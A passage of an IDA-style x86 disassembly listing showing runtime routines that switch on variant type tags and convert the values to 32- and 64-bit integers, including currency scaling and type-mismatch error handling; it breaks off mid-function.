byte_4000F457 db 1, 2, 0, 0 ; DATA XREF: sub_4000F434+15r
db 0, 0, 0, 0 ; indirect table for switch statement
db 0, 0, 0, 3
db 0, 0, 0, 0
db 0, 4, 5
off_4000F46A dd offset loc_4000F4BB ; DATA XREF: sub_4000F434+1Cr
dd offset loc_4000F482 ; jump table for switch statement
dd offset loc_4000F486
dd offset loc_4000F4A0
dd offset loc_4000F4A9
dd offset loc_4000F4B2
; ---------------------------------------------------------------------------
loc_4000F482: ; CODE XREF: sub_4000F434+1Cj
; DATA XREF: sub_4000F434:off_4000F46Ao
xor ebx, ebx ; jumptable 4000F450 case 0
jmp short loc_4000F505
; ---------------------------------------------------------------------------
loc_4000F486: ; CODE XREF: sub_4000F434+1Cj
; DATA XREF: sub_4000F434:off_4000F46Ao
cmp byte_4001AA10, 0 ; jumptable 4000F450 case 1
jz short loc_4000F49C
mov dx, 12h
mov ax, 1
call sub_4000DBF4
loc_4000F49C: ; CODE XREF: sub_4000F434+59j
xor ebx, ebx
jmp short loc_4000F505
; ---------------------------------------------------------------------------
loc_4000F4A0: ; CODE XREF: sub_4000F434+1Cj
; DATA XREF: sub_4000F434:off_4000F46Ao
mov ebx, [ebp+var_4] ; jumptable 4000F450 case 11
movzx ebx, word ptr [ebx+8]
jmp short loc_4000F505
; ---------------------------------------------------------------------------
loc_4000F4A9: ; CODE XREF: sub_4000F434+1Cj
; DATA XREF: sub_4000F434:off_4000F46Ao
mov ebx, [ebp+var_4] ; jumptable 4000F450 case 17
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F505
; ---------------------------------------------------------------------------
loc_4000F4B2: ; CODE XREF: sub_4000F434+1Cj
; DATA XREF: sub_4000F434:off_4000F46Ao
mov ebx, [ebp+var_4] ; jumptable 4000F450 case 18
movzx ebx, word ptr [ebx+8]
jmp short loc_4000F505
; ---------------------------------------------------------------------------
loc_4000F4BB: ; CODE XREF: sub_4000F434+13j
; sub_4000F434+1Cj
; DATA XREF: ...
xor eax, eax ; default
; jumptable 4000F450 cases 2-10,12-16
push ebp
push offset loc_4000F4EA
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4000ED90
mov ebx, eax
cmp ebx, 0FFFFh
jbe short loc_4000F4E0
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F4E0: ; CODE XREF: sub_4000F434+A5j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000F505
; ---------------------------------------------------------------------------
loc_4000F4EA: ; DATA XREF: sub_4000F434+8Ao
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 12h
call sub_4000E068
xor ebx, ebx
call sub_40004360
loc_4000F505: ; CODE XREF: sub_4000F434+50j
; sub_4000F434+6Aj ...
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000F434 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F510 proc near ; CODE XREF: sub_4000E9CC+1C0p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
cmp eax, 13h ; switch 20 cases
ja loc_4000F5AB ; default
; jumptable 4000F530 cases 2-10,12-16
movzx eax, ds:byte_4000F537[eax]
jmp ds:off_4000F54B[eax*4] ; switch jump
; ---------------------------------------------------------------------------
byte_4000F537 db 1, 2, 0, 0 ; DATA XREF: sub_4000F510+19r
db 0, 0, 0, 0 ; indirect table for switch statement
db 0, 0, 0, 3
db 0, 0, 0, 0
db 0, 4, 5, 6
off_4000F54B dd offset loc_4000F5AB ; DATA XREF: sub_4000F510+20r
dd offset loc_4000F567 ; jump table for switch statement
dd offset loc_4000F56E
dd offset loc_4000F588
dd offset loc_4000F591
dd offset loc_4000F59A
dd offset loc_4000F5A3
; ---------------------------------------------------------------------------
loc_4000F567: ; CODE XREF: sub_4000F510+20j
; DATA XREF: sub_4000F510:off_4000F54Bo
xor ebx, ebx ; jumptable 4000F530 case 0
jmp loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F56E: ; CODE XREF: sub_4000F510+20j
; DATA XREF: sub_4000F510:off_4000F54Bo
cmp byte_4001AA10, 0 ; jumptable 4000F530 case 1
jz short loc_4000F584
mov dx, 13h
mov ax, 1
call sub_4000DBF4
loc_4000F584: ; CODE XREF: sub_4000F510+65j
xor ebx, ebx
jmp short loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F588: ; CODE XREF: sub_4000F510+20j
; DATA XREF: sub_4000F510:off_4000F54Bo
mov ebx, [ebp+var_4] ; jumptable 4000F530 case 11
movsx ebx, word ptr [ebx+8]
jmp short loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F591: ; CODE XREF: sub_4000F510+20j
; DATA XREF: sub_4000F510:off_4000F54Bo
mov ebx, [ebp+var_4] ; jumptable 4000F530 case 17
movzx ebx, byte ptr [ebx+8]
jmp short loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F59A: ; CODE XREF: sub_4000F510+20j
; DATA XREF: sub_4000F510:off_4000F54Bo
mov ebx, [ebp+var_4] ; jumptable 4000F530 case 18
movzx ebx, word ptr [ebx+8]
jmp short loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F5A3: ; CODE XREF: sub_4000F510+20j
; DATA XREF: sub_4000F510:off_4000F54Bo
mov ebx, [ebp+var_4] ; jumptable 4000F530 case 19
mov ebx, [ebx+8]
jmp short loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F5AB: ; CODE XREF: sub_4000F510+13j
; sub_4000F510+20j
; DATA XREF: ...
xor eax, eax ; default
; jumptable 4000F530 cases 2-10,12-16
push ebp
push offset loc_4000F5D6
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4000F860
test edx, edx
jz short loc_4000F5CA
call sub_40003C64
; ---------------------------------------------------------------------------
loc_4000F5CA: ; CODE XREF: sub_4000F510+B3j
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000F5F1
; ---------------------------------------------------------------------------
loc_4000F5D6: ; DATA XREF: sub_4000F510+9Eo
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 13h
call sub_4000E068
xor ebx, ebx
call sub_40004360
loc_4000F5F1: ; CODE XREF: sub_4000F510+59j
; sub_4000F510+76j ...
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_4000F510 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000F5FC proc near ; CODE XREF: sub_4000F860+1E7p
; sub_4000F860+3D8p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = qword ptr -0Ch
push ebx
add esp, 0FFFFFFE8h
mov ebx, eax
lea eax, [esp+1Ch+var_14]
push eax
call sub_4000CDD8
push 3
push 0
push 400h
push ebx
lea eax, [esp+2Ch+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
test eax, eax
jnz short loc_4000F636
mov eax, dword ptr [esp+1Ch+var_C]
cdq
mov [esp+1Ch+var_1C], eax
mov [esp+1Ch+var_18], edx
jmp short loc_4000F69B
; ---------------------------------------------------------------------------
loc_4000F636: ; CODE XREF: sub_4000F5FC+2Aj
push 5
push 0
push 400h
push ebx
lea eax, [esp+2Ch+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
test eax, eax
jnz short loc_4000F664
fld [esp+1Ch+var_C]
call sub_400030A8
mov [esp+1Ch+var_1C], eax
mov [esp+1Ch+var_18], edx
jmp short loc_4000F69B
; ---------------------------------------------------------------------------
loc_4000F664: ; CODE XREF: sub_4000F5FC+54j
cmp eax, 80020005h
jnz short loc_4000F680
mov eax, ebx
call sub_4000FE58
and eax, 7Fh
xor edx, edx
mov [esp+1Ch+var_1C], eax
mov [esp+1Ch+var_18], edx
jmp short loc_4000F69B
; ---------------------------------------------------------------------------
loc_4000F680: ; CODE XREF: sub_4000F5FC+6Dj
movzx edx, word ptr [ebx]
mov cx, 14h
call sub_4000E034
mov [esp+1Ch+var_1C], 0
mov [esp+1Ch+var_18], 0
loc_4000F69B: ; CODE XREF: sub_4000F5FC+38j
; sub_4000F5FC+66j ...
mov eax, [esp+1Ch+var_1C]
mov edx, [esp+1Ch+var_18]
add esp, 18h
pop ebx
retn
sub_4000F5FC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F6A8 proc near ; CODE XREF: sub_4000F860+149p
; sub_4000F860+20Dp ...
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFDCh
push ebx
xor edx, edx
mov [ebp+var_24], edx
mov [ebp+var_4], edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000F796
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_4]
call sub_40011DFC
lea eax, [ebp+var_24]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_24]
lea edx, [ebp+var_10]
call sub_40007E0C
test al, al
jnz loc_4000F778
lea eax, [ebp+var_14]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001B0B0
mov eax, [eax]
call eax
test eax, eax
jnz short loc_4000F717
mov eax, [ebp+var_14]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000F778
; ---------------------------------------------------------------------------
loc_4000F717: ; CODE XREF: sub_4000F6A8+61j
lea eax, [ebp+var_20]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001AFF0
mov eax, [eax]
call eax
test eax, eax
jnz short loc_4000F743
fld [ebp+var_20]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000F778
; ---------------------------------------------------------------------------
loc_4000F743: ; CODE XREF: sub_4000F6A8+89j
cmp eax, 80020005h
jnz short loc_4000F75E
mov eax, ebx
call sub_4000FE58
and eax, 7Fh
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000F778
; ---------------------------------------------------------------------------
loc_4000F75E: ; CODE XREF: sub_4000F6A8+A0j
movzx edx, word ptr [ebx]
mov cx, 14h
call sub_4000E034
mov [ebp+var_10], 0
mov [ebp+var_C], 0
loc_4000F778: ; CODE XREF: sub_4000F6A8+41j
; sub_4000F6A8+6Dj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000F79D
loc_4000F785: ; CODE XREF: sub_4000F6A8+F3j
lea eax, [ebp+var_24]
call sub_40004884
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_4000F796: ; DATA XREF: sub_4000F6A8+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000F785
; ---------------------------------------------------------------------------
loc_4000F79D: ; CODE XREF: sub_4000F6A8+EDj
; DATA XREF: sub_4000F6A8+D8o
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000F6A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F7A8 proc near ; CODE XREF: sub_4000F860+220p
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov ebx, eax
lea eax, [ebp+var_18]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_4000F7FF
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_18]
call sub_4000E700
lea eax, [ebp+var_18]
call ds:off_4001F29C
lea eax, [ebp+var_18]
call sub_4000F860
mov [ebp+var_8], eax
mov [ebp+var_4], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000F806
loc_4000F7F6: ; CODE XREF: sub_4000F7A8+5Cj
lea eax, [ebp+var_18]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_4000F7FF: ; DATA XREF: sub_4000F7A8+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000F7F6
; ---------------------------------------------------------------------------
loc_4000F806: ; CODE XREF: sub_4000F7A8+56j
; DATA XREF: sub_4000F7A8+49o
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000F7A8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000F814 proc near ; CODE XREF: sub_4000F860+3EBp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFECh
mov edi, edx
mov esi, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
mov ebx, eax
test bl, bl
jz short loc_4000F856
lea eax, [esp+20h+var_1C]
push eax
call sub_4000CDD8
push 14h
mov ecx, esi
lea edx, [esp+24h+var_1C]
mov eax, [esp+24h+var_20]
mov esi, [eax]
call dword ptr [esi+1Ch]
mov eax, [esp+20h+var_14]
mov [edi], eax
mov eax, [esp+20h+var_10]
mov [edi+4], eax
loc_4000F856: ; CODE XREF: sub_4000F814+18j
mov eax, ebx
add esp, 14h
pop edi
pop esi
pop ebx
retn
sub_4000F814 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000F860 proc near ; CODE XREF: sub_4000E9CC+1D2p
; sub_4000F510+ACp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov [ebp+var_4], eax
xor edx, edx
push ebp
push offset loc_4000FC6C
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_4000FA57 ; default
; jumptable 4000F88C cases 10,14,15
jmp ds:off_4000F893[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_4000F893 dd offset loc_4000F8E7 ; DATA XREF: sub_4000F860+2Cr
dd offset loc_4000F8FA ; jump table for switch statement
dd offset loc_4000F923
dd offset loc_4000F936
dd offset loc_4000F948
dd offset loc_4000F95E
dd offset loc_4000F974
dd offset loc_4000F990
dd offset loc_4000F9A6
dd offset loc_4000FA44
dd offset loc_4000FA57
dd offset loc_4000F9B9
dd offset loc_4000FA2E
dd offset loc_4000FA44
dd offset loc_4000FA57
dd offset loc_4000FA57
dd offset loc_4000F9CC
dd offset loc_4000F9DF
dd offset loc_4000F9F3
dd offset loc_4000FA07
dd offset loc_4000FA1A
; ---------------------------------------------------------------------------
loc_4000F8E7: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov [ebp+var_10], 0 ; jumptable 4000F88C case 0
mov [ebp+var_C], 0
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F8FA: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
cmp byte_4001AA10, 0 ; jumptable 4000F88C case 1
jz short loc_4000F910
mov dx, 14h
mov ax, 1
call sub_4000DBF4
loc_4000F910: ; CODE XREF: sub_4000F860+A1j
mov [ebp+var_10], 0
mov [ebp+var_C], 0
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F923: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 2
movsx eax, word ptr [eax+8]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F936: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 3
mov eax, [eax+8]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F948: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 4
fld dword ptr [eax+8]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F95E: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 5
fld qword ptr [eax+8]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F974: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 6
fild qword ptr [eax+8]
fdiv ds:flt_4000FCA0
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F990: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 7
fld qword ptr [eax+8]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F9A6: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 8
call sub_4000F6A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F9B9: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 11
movsx eax, word ptr [eax+8]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F9CC: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 16
movsx eax, byte ptr [eax+8]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F9DF: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 17
movzx eax, byte ptr [eax+8]
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000F9F3: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 18
movzx eax, word ptr [eax+8]
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA07: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 19
mov eax, [eax+8]
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA1A: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 20
mov edx, [eax+8]
mov [ebp+var_10], edx
mov edx, [eax+0Ch]
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA2E: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C case 12
mov eax, [eax+8]
call sub_4000F860
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA44: ; CODE XREF: sub_4000F860+2Cj
; DATA XREF: sub_4000F860:off_4000F893o
mov eax, [ebp+var_4] ; jumptable 4000F88C cases 9,13
call sub_4000F5FC
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA57: ; CODE XREF: sub_4000F860+26j
; sub_4000F860+2Cj
; DATA XREF: ...
mov edx, [ebp+var_4] ; default
; jumptable 4000F88C cases 10,14,15
mov edx, eax
sub dx, 100h
jz short loc_4000FA6A
dec dx
jz short loc_4000FA7D
jmp short loc_4000FA90
; ---------------------------------------------------------------------------
loc_4000FA6A: ; CODE XREF: sub_4000F860+201j
mov eax, [ebp+var_4]
call sub_4000F6A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA7D: ; CODE XREF: sub_4000F860+206j
mov eax, [ebp+var_4]
call sub_4000F7A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FA90: ; CODE XREF: sub_4000F860+208j
mov edx, [ebp+var_4]
test ah, 40h
jz loc_4000FC45
mov edx, [ebp+var_4]
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_4000FC35 ; default
; jumptable 4000FAB0 cases 0,1,9,10,13-15
jmp ds:off_4000FAB7[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_4000FAB7 dd offset loc_4000FC35 ; DATA XREF: sub_4000F860+250r
dd offset loc_4000FC35 ; jump table for switch statement
dd offset loc_4000FB0B
dd offset loc_4000FB20
dd offset loc_4000FB34
dd offset loc_4000FB4C
dd offset loc_4000FB64
dd offset loc_4000FB82
dd offset loc_4000FB9A
dd offset loc_4000FC35
dd offset loc_4000FC35
dd offset loc_4000FBAD
dd offset loc_4000FC22
dd offset loc_4000FC35
dd offset loc_4000FC35
dd offset loc_4000FC35
dd offset loc_4000FBC2
dd offset loc_4000FBD7
dd offset loc_4000FBEA
dd offset loc_4000FBFD
dd offset loc_4000FC0F
; ---------------------------------------------------------------------------
loc_4000FB0B: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 2
mov eax, [eax+8]
movsx eax, word ptr [eax]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FB20: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 3
mov eax, [eax+8]
mov eax, [eax]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FB34: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 4
mov eax, [eax+8]
fld dword ptr [eax]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FB4C: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 5
mov eax, [eax+8]
fld qword ptr [eax]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FB64: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 6
mov eax, [eax+8]
fild qword ptr [eax]
fdiv ds:flt_4000FCA0
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FB82: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 7
mov eax, [eax+8]
fld qword ptr [eax]
call sub_400030A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FB9A: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 8
call sub_4000F6A8
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FBAD: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 11
mov eax, [eax+8]
movsx eax, word ptr [eax]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FBC2: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 16
mov eax, [eax+8]
movsx eax, byte ptr [eax]
cdq
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FBD7: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 17
mov eax, [eax+8]
movzx eax, byte ptr [eax]
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FBEA: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 18
mov eax, [eax+8]
movzx eax, word ptr [eax]
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FBFD: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 19
mov eax, [eax+8]
mov eax, [eax]
xor edx, edx
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FC0F: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 20
mov eax, [eax+8]
mov edx, [eax]
mov [ebp+var_10], edx
mov edx, [eax+4]
mov [ebp+var_C], edx
jmp short loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FC22: ; CODE XREF: sub_4000F860+250j
; DATA XREF: sub_4000F860:off_4000FAB7o
mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 12
mov eax, [eax+8]
call sub_4000F860
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FC35: ; CODE XREF: sub_4000F860+24Aj
; sub_4000F860+250j
; DATA XREF: ...
mov eax, [ebp+var_4] ; default
; jumptable 4000FAB0 cases 0,1,9,10,13-15
call sub_4000F5FC
mov [ebp+var_10], eax
mov [ebp+var_C], edx
jmp short loc_4000FC62
; ---------------------------------------------------------------------------
loc_4000FC45: ; CODE XREF: sub_4000F860+236j
lea edx, [ebp+var_10]
mov eax, [ebp+var_4]
call sub_4000F814
test al, al
jnz short loc_4000FC62
mov eax, [ebp+var_4]
call sub_4000F5FC
mov [ebp+var_10], eax
mov [ebp+var_C], edx
loc_4000FC62: ; CODE XREF: sub_4000F860+95j
; sub_4000F860+BEj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_4000FC93
; ---------------------------------------------------------------------------
loc_4000FC6C: ; DATA XREF: sub_4000F860+Fo
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 14h
call sub_4000E068
mov [ebp+var_10], 0
mov [ebp+var_C], 0
call sub_40004360
loc_4000FC93: ; CODE XREF: sub_4000F860+40Aj
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4000F860 endp
; ---------------------------------------------------------------------------
flt_4000FCA0 dd 1.0e4 ; DATA XREF: sub_4000F860+11Ar
; sub_4000F860+30Cr
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000FCA4 proc near ; CODE XREF: sub_4000FE58+10Bp
; sub_4000FE58+1A3p ...
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_4000FD56
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_4]
call sub_40011DFC
lea eax, [ebp+var_8]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001AFC0
mov eax, [eax]
call eax
mov edx, eax
sub edx, 80020005h
jz short loc_4000FCFF
sub edx, 7FFDFFFBh
